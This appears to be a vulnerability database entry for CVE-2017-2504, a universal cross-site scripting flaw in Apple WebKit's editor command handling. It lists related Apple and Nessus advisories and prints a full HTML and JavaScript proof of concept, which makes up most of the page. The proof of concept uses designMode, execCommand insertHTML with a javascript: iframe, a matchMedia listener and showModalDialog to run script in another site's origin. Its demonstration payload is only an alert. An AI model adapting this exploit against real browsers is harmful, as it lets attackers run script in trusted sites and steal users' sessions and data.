WebKit: UXSS via Editor::Command::execute(CVE-2017-2504)

🗓️ 26 May 2017 00:00:00Reported by RootType

Webkit HTML Renderer allows Universal XSS via editor commands

Reporter	Title	Published	Views	Family All 29
0day.today	Apple WebKit / Safari 10.0.3(12602.4.8) - Editor::Command::execute Universal Cross-Site Scripting Ex	25 May 201700:00	–	zdt
Tenable Nessus	Apple iOS < 10.3.2 Multiple Vulnerabilities	17 May 201700:00	–	nessus
Tenable Nessus	Safari < 10.1.1 Multiple Vulnerabilities	18 May 201700:00	–	nessus
Tenable Nessus	Apple TV < 10.2.1 Multiple Vulnerabilities	18 May 201700:00	–	nessus
Tenable Nessus	Apple TV < 10.2.1 Multiple Vulnerabilities	17 May 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3.2 Multiple Vulnerabilities	18 May 201700:00	–	nessus
Tenable Nessus	GLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities	8 Jun 201700:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 10.1.1 Multiple Vulnerabilities	23 May 201700:00	–	nessus
Tenable Nessus	Linux Distros Unpatched Vulnerability : CVE-2017-2504	25 Aug 202500:00	–	nessus
Apple	About the security content of iOS 10.3.2	15 May 201700:00	–	apple


                                                <html>
<body>
Click Anywhere.
<script>

function sleep(ms) {
    let start = new Date();
    while (new Date() - start < ms) {

    }
}

window.onclick = () => {
    window.onclick = null;

    document.designMode = 'on';
    document.execCommand('selectAll');

    let f = document.body.appendChild(document.createElement('iframe'));
    let media_list = f.contentWindow.matchMedia("(max-width: 100px)");

    function listener() {
        let a = document.createElement('a');
        a.href = 'https://bugs.webkit.org/#quicksearch_top';
        a.click();

        sleep(1000);

        window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
try {
    opener.document.x;
} catch (e) {
    clearInterval(it);

    setTimeout(() => {
        window.close();
    }, 2000);
}
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
    }

    media_list.addListener(listener);
    document.execCommand('insertHTML', false, 'aaa<a-a></a-a><iframe src="javascript:alert(parent.location)"></iframe>');
};

</script>
</body>
</html>

26 May 2017 00:00Current

6.7Medium risk

Vulners AI Score6.7

EPSS0.00793